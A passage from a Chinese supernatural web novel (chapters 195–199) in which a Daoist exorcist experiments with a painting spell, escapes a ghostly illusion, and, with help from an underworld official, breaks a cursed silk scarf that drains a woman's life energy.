把佛力吸完,我又研究起了那画笔,还有林子枫那得来的仙术。
仙法七阴鬼术。
这东西我不是没有练过,但是那会真的练不会。然而现在我连佛气都吸收了,我想着试试能不能练成。
然后我就按照步骤捣鼓了起来。
以那画笔为武器,抹上持笔人的血,以道力咒语催动笔,点出七个奇异的符号。
结果!
真的成了。
七道符号活灵活现,在我手腕四周跳动,随后我随意地把这些符号甩了出去。
我看到虚空中撕开了一道小小的裂痕,一只猩红的眼睛出现了。
我惊讶了。
这只眼睛竟然是我画出来的活物?
我随手拿了过来,它真就在我手上了,活灵活现的。
等我把七个符号散去,那眼睛又不见了。
接着我反复尝试了两次,画出来的东西也不太一样,有黄皮子的胳膊腿,有**蛇的芯子,每次都是活的,像是被赋予了灵魂一样。
但我也发现了,眼下的我貌似只能画出几样东西,但应该是因为某种原因,画不出来一个完整的东西。
我正想着呢,突然愣了一下。
那眼睛好像跟井底的那只眼睛很像?
不是像!
貌似就是呢?
但是,有着很大的不同,我画的,没有那种威压。
随后,我突然恍然大悟,原来是这样。我画出来的,都是我见过的,带有灵性的东西。
那黄鼠狼尸体,那就是陈皮家亲戚。那信子,是牢山那些被我杀掉大蛇的吐信子。
……
第一百九十五章难以相信的经历(第三更)
又研究了一会,但没啥进展。不过我也知足,起码学会了。
而这一切,都要归功于所得的仙缘。
这东西比任何宝物都要珍贵,因为它让我的悟性,提升了不止一个档次。
仙法传承。
这就不是随便能练的,这才画了几个,我就觉得累了。索性,我眯眼睡了一觉。
等再次醒过来,天已经完全黑了,小崔说已经到滨镇了,问我用不用在这休息一夜。
我倒是没啥,但看到小崔有点疲惫,然后就答应了。
结果,小崔说马上,我们却开了好几个小时都没到地方。最后,我看到小崔眼皮都睁不开了,一脸衰相,“这怎么还没到呢,都开了几个小时了吧?刚才那位置,也就半个小时啊?”
我因为修炼仙术的缘故,所以身体有点乏,哪怕醒了过来,也没完全缓过劲。
应该是这仙术的问题,修炼得不太对,所以才会这样。
小崔这么一说,我这才嗅到了一丝不对劲,整个人一下子精神了。
难道是碰到鬼打墙了?
我四处看了看,周围是一片荒野,也没有坟圈子啥的。
“小崔,找个安全的位置把车停下吧,你先休息一下,不要疲劳驾驶。”我说。
“好,大师。”小崔点了点头,然后找了个空地停车,之后,他似乎困得不行了,坐在那就睡着了。
我现在敢肯定,我们应该是遇到事了,但从车窗往外面看去,漆黑一片,四处空旷,真的什么都没有。
我开门下车。
但在那一瞬间,一股阴森森的冷风吹了过来。这地方的看着没啥,但那阴气真重啊,连我都觉得有点不舒服。
“怪不得小崔眼睛都睁不开呢,这种阴气下,他没直接睡过去,已经是万幸了。”我深吸一口气,催动道力,双眼用力,想要探个究竟。
随后,眼前的事物突然有了变化,那原本空荡的四周,被一道道围墙给围住了。
而我们的车,就在这围墙之中。
就好像是故意困在了这里。
“这墙跟之前的都不太一样?”我仔细看去,城墙厚重,也是百米高,但这些城墙完整,连城一片。
在那天空上方,有着一道道黑色的气息,就跟下雨一样,持续不断地下来。
我伸手接了一丝,那气息穿过我的手掌,带着一股阴气。
我明白了。
我们之所以绕不出去,应该就是这黑色气息的缘故。
但眼下。
怎么办呢?
“汪汪。”欢欢也下了车,小人参也下来了。
正在我没招的时候,欢欢突然朝着一棵树下面撒了泡尿。
随后。
无语的事来了。
那些黑气突然就停下了,不再下来,像是被定格在了半空中。
见状,我奇怪了,这是什么原理呢?
“老大,你在干嘛呢?”小人参问我。
“你们没发现这地方很邪吗?”它们感受不到?我有点疑惑了。
“没啥邪啊,我也来一泼尿!”随后,小人参突然找了个地方蹲下了。
说实话,我觉得小人参越来越离谱了。人参尿尿不说了,蹲下尿咋回事?
我忍不住吐槽,“人参还分公母?”
小人参说,“不分啊?”
我说,“那你为啥蹲下尿?”
小人参说,“我去公共厕所学的啊?咋地,老大你不蹲下尿吗?”
我扯了扯嘴,因为我发现我都被带歪了,它尿尿本身就是个离谱的事!
也不知道是不是这俩活宝专门克这种事,还是说,这事本身就是个意外。
总之,他俩这一撒尿,那些气息渐渐的少了一些。
我觉得,有用!
我也找了个地方,脱下裤子来了一泡。
呼!
随着尿完,那城墙突然就消失不见了,周围突然微微亮了起来。
这天!
竟然已经亮了。
我深吸一口气,也是哭笑不得。但很快,我却发现了不是那回事。
因为我一直观察的都是远处的上方,但我却没看到我头上。
我不经意地抬头,发现在我头上高空,居然是倒着的小城。那地方不像是当代,像是古代,有小桥,有山水,有阁楼……
还有一群穿着打扮怪异的人。
他们统一都是白色黑色的衣服,走在那城中,大
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头朝下的对着我,看起来里面很热闹。
随着太阳光越来越亮,他们被染上了各种颜色。
太奇幻了!
这种经历实在是太奇幻了。
我觉得很不真实。
这一幕。
根本没法去解释。
“难道是阴间吗?”我突然冒出来这样一个想法。
因为刚才阴气太重,所以我认为可能。
但我又觉得哪里不对。
“虚间?”我又想到了虚间,但也觉得不对。
我忍不住吐槽,这真是书到用时方恨少啊。因为我现在经历的很多事,都是超出我认知的。而又没人能给我一个解释。
这就像是生僻字,在没有拼音和别人教的情况下,你想认识他?那比登天还难!
“等等?”然而,我突然看出了一些问题所在。
我刚才关注的是那些黑色的气息,以及那厚重悬浮的城墙。现在呢,我关注的是那倒立的小城,以及那些活动的小人。
而我!
却没有把他们联系到一起。
我换个角度看,这城墙也好,小城也好,人也好,这不是一幅画吗?
一幅特别大特别大的画,它不是消失了,而是正在飘向某个方向,只是随着太阳的出现,似乎看不清了?
“这画,我好像见过?”我愣了愣,然后猛地想起,这不就是挂在我小屋的那幅山水画吗?只不过,我家那幅画上没有这些小人。
想到这些,我惊住了。等我再次朝那画望去,它已经彻底飘远了。而在画的上方,我隐约地看到了一道人影。
他拿着一本书,坐在上方,认真仔细地在观看。
“大师,对不起,昨天太累了,睡着了。这天都亮了,我送您回哈城。”我还在震惊呢,我应该看到了一幕不该出现的事情。
结果小崔醒了,他抻了个懒腰,睡眼惺忪,很抱歉地跟我说道。
“好。”
我深吸一口气,但随后我改变了路线,直接去黑城。
因为上次走得凑忙,虽然拿了些东西,但那两幅画没拿。
正好,也回去看看我爹我娘。
这事!
太震惊了!
……
第一百九十六章这图是法器?(第四更)
到了晚上。
小崔把我送到了黑城。
我没留他。
他也说自己会找个洗浴好好休息的。
我们就此分开。
好些日子没回家了,突然回到了家,我爹我娘都很意外,但也很高兴。说是要给我做好吃的。
然而我却那个心情,看到大哥大嫂也在,打了声招呼,然后我就钻进自己那小屋了。
果然。
就是这一幅山水画。
跟天上飞的那一幅一模一样。
有山有水有小镇,唯独没有那些小人。
但看了半天,我也没看出啥出彩的地方,唯独,那股道力还在。
想不出个所以然,我又拿起了那美女图,仔细地看了看。
我在想。
这两幅画到底有啥相同之处呢?
两幅画出自一个老道的手,但那老道后来死在了黑城。
除了这些消息,再无其他。
“这幅美女图,是用来做人皮的,可以做法器。法器……法器?!”我突然眼前一亮。
果然,有一句话说得好,人最怕琢磨,因为一琢磨总能蹦出点子来。
就跟枪炮似的!
都是一些无聊的人琢磨出来的。
想到了法器,我突然恍然大悟了,能不能这山水画,这东西本身就是法器?
我越想越觉得有可能,然后想法也是越来越多。我想到天空的那画,那些小人,我猜测是这样的。
这玩意可能类似于传说中的‘飞剑’,是一个载人的法器。同时,他也能把人装进去。当然,也可能装的不是人。
我剑指,尝试像飞针一样御器,果然,这个真的有效果。
随后我又尝试能不能把我载起来,但是这个失败了。
但眼下我也能接受,因为这东西起码能被当做御器去使用。
这个发现我有点兴奋,虽然我这人很稳重,也不会去幻想一些不切实际的事。但看到那幅画,还有画上的人,我却很期待自己能成为那样。
我把两幅画都卷上了,打算到时候回哈城带回去。
等我冷静下来,我又陷入了思考。随着人间仙门的事落下,怪事越来越多了。
这次。
我更是见到了这种场面。
而我也越发觉得自己的弱小。
那个家伙会是什么人呢?他是人间的?还是那城墙之上的呢?
我不知道。
因为没答案。
我用力的呼吸,又把杂念抛到脑后,我深知欲速则不达的道理,不能因为这一幕毁了我道心。
有些事!
急不得。
“老弟?”我正想着呢,屋外大嫂敲我门,我回神去开门,大嫂说大哥找我。
大厅里,我娘我爹坐在那看电视,嗑瓜子。我大哥正吃着苹果,大嫂则是给我洗了葡萄。
我吃着大嫂的葡萄,感觉还不错,然后问我大哥,“大哥,你找我啥事?”
大哥有点难开口,但还是说了,“老幺,我想代理个摩托车店,但我跟你嫂子又怕不行。所以今天你回来了,想听听你的想法。”
闻言,我把葡萄皮吐了出来说道,“大哥,那是你们的事,往后,我也不会说了。”
大哥大嫂两人相互看了一眼,很明显有些失落。
对此,我笑着说道,“大哥大嫂,有些事我不能说,但我可以告诉你们一点,我过多地参与,对你们只有坏处没有好处。”
大哥说,“这……”
我说,“大哥,我知道你要说啥,觉得因为我帮了你,所以你现在好起来了。所以你信任我。但我想说的是,其实我帮不帮你,你都能赚到这个钱。只不过早了点和晚了点的事。”
大嫂,“老弟,不能这么说啊,我们确实是你帮起来的。”
我摇头,“大嫂,我说的都是实话。你看二哥,我帮他的少吗?结果呢?帮了他反而越走越偏,现在都离婚了。你们能有现在,主要是因为大哥踏实肯干,他有这个本事。大嫂你贤惠,跟她吃苦,一步步熬过来的。”
被我一夸,两人还有点害羞。然而,这是我最真实的想法。
二哥的事给了我一个启发,那就是不能去干涉其他人的命。干涉了也起不到啥作用。
大哥说,“老幺……”
我摆了摆手,没让我大哥把话说出来,我说,“大哥,什么都不要说了,你们的路,你们自己走。上次,其实已经是个教训了。那个王小
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明盯上你们了,跟我有很大的关系。要不是我帮二哥,就不会有这个事。我说这些,你能理解吗?”
我不得不承认,有些事碰来碰去,最终都会有一个连锁的反应。
我觉得所有的事,从我帮这个家开始的那一刻,结果就已经定下来了。
我大哥一脸茫然。
倒是我大嫂精明道,“我明白了,冯宁,要是当初你不帮你二哥,他就没有钱,没有钱就不能买那套房子,也不会被那害人的风水师盯上。也就不会有了王小明他来找咱们家麻烦。”
我大哥也突然拍了下大腿,“好像,好像真是这么回事啊!”
我点了点头没说话。
“哎,吃葡萄,吃葡萄。”大哥叹了口气,又说,“冯宁,是大哥贪心了,想不到里面有这么多的门道。其实大哥应该知足了,这辈子都没这样有希望。”
大嫂也说,“嗯,知足吧。这事,咱俩回头商量。”
说实话,因果啥的,我其实还真不在乎。虽然嘴上说因果报应,但实际上没想太多。
但事实证明,我确实不应该过多去掺和家里的事,这个就很微妙。
张坤找上门,大哥的生意被人算计,还要动我家祖坟,还好陆小旺跟我说的那些话,让我恍然大悟。
我们这行,有说法的。
所以,今天也把这事说清楚。
晚上,在家里睡了个觉,这比我那场地睡得要舒服,连欢欢都在屋里面打起了呼噜。
直到第二天一早,我娘说有人打电话找我,接通才知道陆小旺回来了。
她那。
现在有个活,她处理不了,但给一百万。
我不是财迷。
但听到一百万眼睛也跟着放光。
我问她啥事。
陆小旺说在电话里一时半会也说不清楚。
所以等我哈城处理。
挂断电话。
因为欢欢和小人参的缘故,我没法坐火车。所以我带上了两幅画,直接打出租车回得哈城。
等我见到了那副面孔之后。
我才知道为啥这事值一百万。
因为。
这个女人已经吃掉了半个自己。
棘手!
……
第一百九十七章百万大活(五更)
棘手。
真的是太棘手了。
早上从黑城走的,下午到的场地,现在这里也是我的家。
我进门。
看到陆小旺正跟一个老奶奶说话,老奶奶看上去能有一百多岁,老龙钟态,拄着个拐杖。
但让我惊讶的有两点,一个老太太居然穿着少女的碎花裙。眼下东北这旮沓已经冷秋了,年轻人都得穿个外衣,结果她比年轻人还能美。
第二个惊讶的点就是,我听到陆小旺管她叫姐妹?
我不理解。
总觉得这是邪门。
“姐妹,你等等哈。我们冯大师回来了。”说完,陆小旺走到我跟前,把事情说了一遍。
原来,这老太太不是老人,而是个三十一岁的女人。
女人姓牛,名叫牛姑,她不是我们东北人,家是西疆高原的,住在马雅山脉那边。
在当地,那是大户人家。
这次跑到东北来,也是听说五大仙的事,想着恢复容颜。
而她的事呢,还要从一个减肥说起。
牛姑出身又好,长得又美,而在她到了结婚的年纪,追她的人也越来越多。牛姑眼光很高,一直挑到了二十九岁,都没有找到一个如意郎君。
突然有一天,那些平时追她的男人们,都不追了,还有背后说她胖的,丑的。
她一开始也没在意,但是有一天发现,她胖了,而且也变得丑了。
于是她开始减肥。
结果越来越肥。
后来,一个喜欢他的男人知道了这事,给她找了个**,说是有一种神奇的丝巾,绑在身上能减肥,她试了,果然神奇,没多久就恢复了美貌。
然而,她本想着一切都在朝着好的方向发展,谁知道她越来越老,如今两年过去了,到了现在这个样子。
“这一百万不好拿。”我抱着肩膀,掐着自己的下巴说道。
“你要不要先看看她的情况?”陆小旺说。
我点了点头。
眼下,黄昏将至,窗外一片昏黄。
我坐在牛姑面前,她有气无力的看着我,我催动道力,双眼用力,然后查看了一番。
但啥也看不出来。
我想了想,把医玉拿了出来,然后催动道力治疗,结果,还是没有个结果。
随后我想通了,这应该不是病,所以这种手段没用。
我冷静了下来说,“牛小姐,你那条丝巾还在吗?”
牛姑点了点头,从口袋里掏了出来一条丝巾,丝巾四四方方的,黄白色,看上去很柔软,轻飘飘的。
随后这牛姑攥在手里,犹豫给我不给我。
我皱了皱眉头,这女人应该很清楚自己是被这丝巾给害的,居然还舍不得?
我觉得肯定还有其他的事她没说。
“牛小姐,你要是想变好,那最好配合我。要是不想,门在那边,带着你的钱直接走。我时间有限,不想因为你的原因,浪费我的时间。”我直白道。
闻言,牛姑嘎巴嘴,还是放开了丝巾。
丝巾在手,比想象中的还要柔软顺滑,但手感有点奇怪。
好像是……我在摸霍真真那感觉。
想到这里,我愣了一下,没错,就是那种感觉。这玩意?它就不是个丝巾?
而是!
我没有在往下想下去,因为我觉得就是了。
我运转道力,双眼用力,想要一探究竟。但这‘丝巾’没有变化,貌似不是活物。
我看向了牛姑,她正盯着那丝巾,似乎,生怕我弄坏了,或是不给她一样,很紧张,很害怕。
我想了想说道,“牛小姐,你是怎么变瘦的?是把它缠在身上?”
牛姑微微点头,她说话有点费劲,所以只能比划,小声道,“肚兜。”
我也跟着比划,“像是肚兜一样?”
她点了点头。
我说,“这丝巾你需要暂时放在我这,我需要研究它。”
牛姑抬头看着我,那浑浊的双眼,像是随时都能没了气息似的。
但她还是点了点头。
“陆大师,今天就到这吧。你给牛小姐在对面安排个住处,明天下午在接过来。”我说。
陆小旺点了点头,然后把那牛姑送去了旅店,等她回来,她急忙问我,“这是啥东西?”
我想了想说,“我要是没猜错的话,应该是人皮的皮。”
陆小旺眯了眯眼睛,有点犯膈应
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。但他毕竟是缝尸人,拿过来摸了摸,朝我点了点头。
随后却问我,“你打算咋办?这事太离奇了,我都没听过。”
我说,“我准备晚上当肚兜戴在身上。”
陆小旺扯了扯嘴角,“你这是……”
不等她把话说完,我说道,“别狗嘴里吐不出**,我是要以身犯险,看看它到底咋回事。”
陆小旺说,“哦,我还以为你有啥癖好呢。”
我无语了,谁没事闲的把人皮放身上啊?那不是脑子有病嘛?
说实话,我也是没招。因为从始至终,这牛姑除了她的故事,我也无从下手。
干脆大着胆子体验一下。
说干就干,我把丝巾挂在身上,晚上直接睡觉。结果,半夜奇怪的事就发生了。
我突然觉得浑身很舒服,像是有小蚂蚁在爬,酥酥麻麻的,还像是……身子被谁轻轻地抚摸。
要是换做其他人,肯定舍不得这种舒服。但老子不一样,老子因为太舒服当了八年傻子,对这种感觉门清。
我猛地睁开眼,就看到这丝巾吸附在我的皮肤上,一寸一寸的,而被吸附的地方,痒痒的,轻快的,哪怕觉得很诡异,却让我一动都不想动,任凭它摆布。
“你到底是个啥!”我突然抓住它,想要扯下来,但它却裹得很紧,而我越是使劲,越是觉得浑身舒服。
它似乎在用这种法子,让我放手,让我享受。
我突然明白了,它不是在让我舒服,而是在用精神力量干扰我,想让我放手,顺从他?
“呵呵,你找错人了,老子最不怕的就是精神力量。”我冷笑。
真以为是蝙蝠舔牛屁股呢?
舒服了老子就放过你?
不好意思,老子是那种玩一半,哪怕在爽,遇到危险也会戛然而止的人!
从不在花中死!
说完,我猛地用力,把它突然抓了起来。
顺势看过去,那丝巾上全都是小嘴,小到要不是仔细看,根本看不出来。
多如牛毛!
再看,他们的嘴里面,正扯着一根根的半透明的线!
这竟然是!
我的阳气!
……
第一百九十八章柳烟来了
阳气也叫做精气,人体内固本培元的根本。因为方士的缘故,我对这玩意有着很深刻的了解。
咋说呢。
阳气盛,人的气血就足,气血足了,浑身的经络穴位,哪哪都通,百邪不侵。
但这也不是个绝对的说法,因为我就是阳气太足了,最后被人囚禁了八年。
再说阳气衰,往往人就没精神,精气神不足,邪祟就有机可乘,哪怕你生得漂亮,没了精气神,五官面貌都会随之改变。
还有就是容易生病,专门生那种没有说法的病。
除此了影响气运气血,阳气还有一个最大的说法,那就是影响寿命。
这一点在我这一直没有论证,但被这丝巾给吸了,想到了牛姑那张老人脸,我觉得应该是了。
此刻。
随着我用力地扯,那丝巾咬着我的阳气都特么拉丝了。
咋形容呢。
我也是第一次见到阳气成了线,本以为能直接扯断了。但也不知道这丝巾咋操作的,那阳气被她咬在嘴里面,无论怎么扯就是不断。
看上去黏糊糊的,藕断丝连,用我们东北话说,胶黏。
“尼玛!”平日里老子天不怕地不怕地,但眼下有点慌了。
我现在被它精神力干扰,存存皮肤都舒服啊,有点使不上劲。
它虽然吸得不快,但架不住一直吸啊?
左**,右手火!
我直接运转道力,雷火全都上了。结果,它一点事都没有。
然后我又用尽了其他的办法,连道印都拿出来了,还是没有用。
它根本不用贴在我身上,一直把我的阳气往外面扯。
“艹!”我忍不住骂了一句。
确实是实践出真招,但老子这次好像把自己搭进去了。
我一屁股坐在床上,有点无奈了。
“咯咯咯,想不到你也有吃瘪的时候?”就在这时,一道身影出现在了窗前。
听声音,这不是柳烟吗?
她居然出现了?
上次制造道器,那就多亏了她呢。不过,柳烟的出现,我觉得没啥好事。但眼下,我要抓紧解决这块丝巾的麻烦。
“美女,多日不见,甚是想念。”我笑着凑近乎。
然而,柳烟却说,“冯宁,你还真是用人朝前不用人朝后呢。用得着我了,叫我美女,又说想我。用不着我呢,是不是恨不得这辈子不见我?”
我有点心虚,因为她说得没错。我这人脸皮薄,我说,“美女,你这说的啥话,我日日夜夜都想见你呢。那个,美女,你来得正好,你看看这是啥东西,你要是喜欢你就拿走。我送你了。”
柳烟咯咯直笑,盯着我,也不动手,那样子像是看热闹。
我说,“你到底想咋样嘛?我要是被吸干了,你跟十殿下交不了差!”
闻言,柳烟坐在窗台上,她微微抬起头,那白皙的锁骨如玉,再往下看去,那凸出来的胸口,有种想帮着扶一把的想法。
真怕她摔倒了。
柳烟像是能看透我想啥似的,嘴角勾起一丝浅笑,眼如魅丝。
“美女,别看了,再看你比这玩意都可怕。”我深吸一口气,虽然只见了两次面,但我也是才发现,我貌似忽略了这个女人的本事。
就这一个眼神。
男人都受不了。
“额,我小瞧你了,你还真的很特别呢。连我的魅法,都没勾引到你。”柳烟认真的说道。
“你没事勾引**啥?帮我解决问题啊,要不然,老子这阴差不干了!”我无语了。
这女人……不,这女玩意想啥呢。
“好啦,不逗你了。我来这是调查一些事……”说完,柳烟打了个响指,窗前突然有柳树枝长出,然后撕开了一片裂空。
然后,就跟电影似的,裂空里播放着我杀掉林子枫的画面。
“你监视我?”我皱了皱眉头,突然有点不爽。
“看来,我有必要给你好好上一课。这不是我监视你,你是阴差,都是自己人,我们对自己人不会那么严格。是我们见识这个林子枫,正巧碰到你把它给除掉了。”柳烟说。
“那就是说,林子枫作恶,你们的人在场?但却没有动手?”我皱眉道。
“谁说监视就要有阴差在场呢?还有,你杀过
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阴差,你觉得普通的阴差会是这林子枫的对手吗?他可不简单,术士一门,天上地下,阴阳两间,虚无空间,都有人的。”柳烟说完眯眼笑道,“我来是想提醒你,你惹麻烦了。他那一门霸道,不会放过你的。”
我愣了一下,皱了皱眉头,“他以术法囚禁生灵,迫使那些生灵痛不欲生,这种人?也会被庇佑?”
我攥紧了拳头,有一种说不出的情绪,哪怕那丝巾还在吸着我的阳气,眼下却都不太在意了。
我知道自己啥德行,不是啥好人,也不是个善男信女,但那林子枫的恶,我连饶他一命的念头都没有。
从这点我就知道,这人特么就该死。
然而听柳烟那话中的意思,我似乎不该杀他,就因为他有着庇佑!
所以我很不爽。
“那你怕吗?”对于我的愤怒,柳烟轻描淡写地问。
“怕?柳烟大人,你觉得我会怕吗?”我冷冷道。
“我觉得你不会。”她说。
“就这点是吗?还让你柳烟大人跑一趟?”我冷漠道。
“算是吧,你杀了林子枫,虽然身陷险境,但也积了阴德。你应该有所感应吧。”她说。
我点了点头。
“咦?你还得到了仙缘?”柳烟突然惊讶道。
“你是怎么看出来的?还说没跟踪我?”我奇怪。
“额?你这场地还有不少东西呢?”柳烟说。
糟了。
难道发现小人参了?
别特么带走了给炖人参汤!
我暗礁不好。
然后柳烟却轻笑,她从脸开始,先是半个身子成了灰烬,然后整个人从左到右不见了。
我急忙要去查看,生怕她图谋不轨。
结果,她又回来了,还舔了舔嘴唇。
“你把小人参咋样了?”我皱眉道。
“额……放心吧,你的东西我不会碰的,我就是舔了舔它身上的精华。好久没碰到大补的灵药了。”说完,柳烟又说道,“该说不说,这你场地,哪怕放在四百年前都少有。我有个疑惑,能否帮我解答?”
“啥?”
……
第一百九十九章烤丝巾
我盯着柳烟,心中有些奇怪,以她的阅历,还用向我请教吗?
“那人皇鱼,你是怎么收服的?”她说。
“人皇鱼?你说小鲤子?”我问。
“额……你是这样叫它的嘛?它也不生气?”她疑惑。
我眼前一亮,看来她很在意这件事,我说,“你想知道也行,帮我把这玩意降服了。”
柳烟摇头,“这个不行,我可以不知道你的办法,你这件事,我还想跟你做交易呢。”
我无语了。
怪不得说来说去,她就是不帮忙,原来在这等着呢。
都说人老奸马老滑,这个该死的阴差也一样,不是啥好东西。
然后我就把降服小鲤子的事给说了出来。
柳烟盯着我半天,小嘴微微张开,似乎也无语了。
“言归正传,我来这找你是传个话,林子枫那边的**烦,十殿下给你压着。有她在,阴阳虚三界,这个面子还是有的。但她只能压高位的,低位的找你麻烦,你要自己处理。”说完,柳烟给我扔了一个东西过来,这玩意拳头大小,有着一双翅膀,感觉阴阴沉沉的,她说,“这是阴差的监视小鬼,专门用来监视一些邪修的生物。你只需要用阴差的灵牌放在它身上,就可以用意念控制它,监视你一公里范围内你想监视的人。”
“好东西。”我一把拿了过来,然后就给激活了,它飘在空中,真的是我想让它去哪,它立马就去哪。
“当然是好东西了,寻常的阴差根本没有的,是我帮你申请的。这在阴间是**。不过,这监视小鬼你用的时候要注意,要是道力高深之人,是能发现的,还能轻易毁掉。尽量保持在百米开外。”柳烟说完,突然弯下了腰,趴在了那窗台上。
月光下,也不知道是不是错觉,我觉得窗台好像被积压了,像是果冻一晃一晃的。
柳烟抻了个懒腰,随后,我看她竟然舔了舔自己的手背,那鬼魅的身姿像是一只猫。
我这才意识到,她难道不是人?
似乎这么想也不对,她本身就不是人啊?
我催动道理,眼睛发热,想看看她本体。然后,我能看到的就是这副人的身躯。
只是,看得更仔细了,这女人真的是凹凸有致,一张高冷的脸,看得我有点愣神。
柳烟盯着我,她似乎真的能看穿我的人心,她也不在意,而是轻声说道,“这东西是西疆的塔卡丝巾,代表着神圣,朝佛。不过,这一条被下了诅咒,有人用自己的生命为代价,化作吃阳恶灵,他们藏在丝巾当中,每到夜晚就会活过来,然后**阳气。但这东西很聪明,它吃你,也会给你带来愉悦,沉迷其中,无法自拔。”
我说,“你说的这些我已经知道了,怎么能扯断?”
柳烟说,“一般而言,它不会主动吸人的,而是人起了贪念,被它嗅到,然后就会被缠上。它怕的东西也很多,佛家的舍利子,道家的乾坤镜,你的阴差令牌……”
说完,柳烟看了我一眼。
闻言,我也愣了下,对啊,我咋把阴差令牌给忘了。随后我拿了出来,往它身上一照。那些小嘴瞬间闭了起来,然后它落在地上,在那装死。
在看我身上,那拉丝的阳气已经不见了,我也松了口气。
“怎么才能救那女人?”我问。
“你觉得我这个阴差队长很闲吗?一介凡人,不让我救我就救?那不是很没面子?”她侧躺在了窗户上,两条大长腿耷拉着。
这感觉!
有点像是索菲亚呢?
但对于这女人,我还是很理性的,我说,“说吧,要啥好处?”
柳烟笑脸看我,“你让那个陆小旺给我烧点纸。”
我惊奇,“啊?”
柳烟说,“我知道你这件事能赚一百万,我要五十万,给我烧五十万的纸。”
我说,“那不就是普通的纸吗?你上次还说……”
不等我把话说完,柳烟说,“经过陆小旺的手,这纸就不普通了。能当钱花。她爷爷都发了!我也想发!”
**?
我有点无语了。
我怀疑这女人不是来给我传递消息的,明明就是奔着我钱来的。
但没办法。
人家有破解之法。
这事只能认了!
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我点了点头,柳烟说道,“这牛姑我查过了,是个贪得无厌之人,跟数十个男人暧昧不清。有人因爱成恨,她被下了药,身材肥胖,样貌变得丑陋。之后那暧昧之人取下身上的皮,献给了当地的魔鬼,做了这丝巾。就是为了报复她。这丝巾并不是一直吸食,七天为一周期,七天过后,只要她不碰,那就没事了。与其说是丝巾吃了她,不如说是她自己吃了自己。如今她的,应该还剩下了不到正常人一半的阳气。”
听了柳烟的话,我没说话,那牛姑的表现,我也看在眼里。都被吸成那样了,还不舍得把这邪物给我呢。
真的是自作自受。
我看向柳烟,想得知破解之法。
柳烟慢条斯理道,“白昼的时候用柴火烤,它就会把吃掉的阳气吐出来。哪来的,就会回到哪里去。”
我愣了下,“这么简单?”
柳烟点头,“对。”
随后她坐了起来,嘴角轻笑,“其实这东西在阴间很常见的,叫做享乐烟袋,一些阴间的人把它卷起来点火抽了。”
“在人间嘛,你也可以让它吸,享受完之后,就用柴火烧。这样很爽哦。早年的人间鬼青楼,就专门做这套业务的。”柳烟说。
尼玛?
听了这些话,我人都有些麻了。看了看那丝巾,想到刚才那寸寸肌肤,我竟然觉得有点酥麻。
但我摇了摇头,虽然这女人说的可能没错,然而我心里很清楚,越迷人的越危险。
老子不干那蠢事。
我答应了柳烟的事,她给了我一个烧纸的地址。一大早就找了陆小旺说了烧纸的事。
得知我要烧五十万的纸钱给一个女人,她有点震惊,但知道了我找到了办法,她啥也没问,直接把牛姑接了过来。
然后,我俩早饭都没吃,一大早在那烤丝巾。
一开始,牛姑挣扎,想要阻止我们的做法,但她太老了,根本没办法动弹,只能眼睁睁地看我俩操作。
随着一丝丝阳气被烤出来,先是我浑身觉舒服,畅快。
接着就看到牛姑有了变化。
……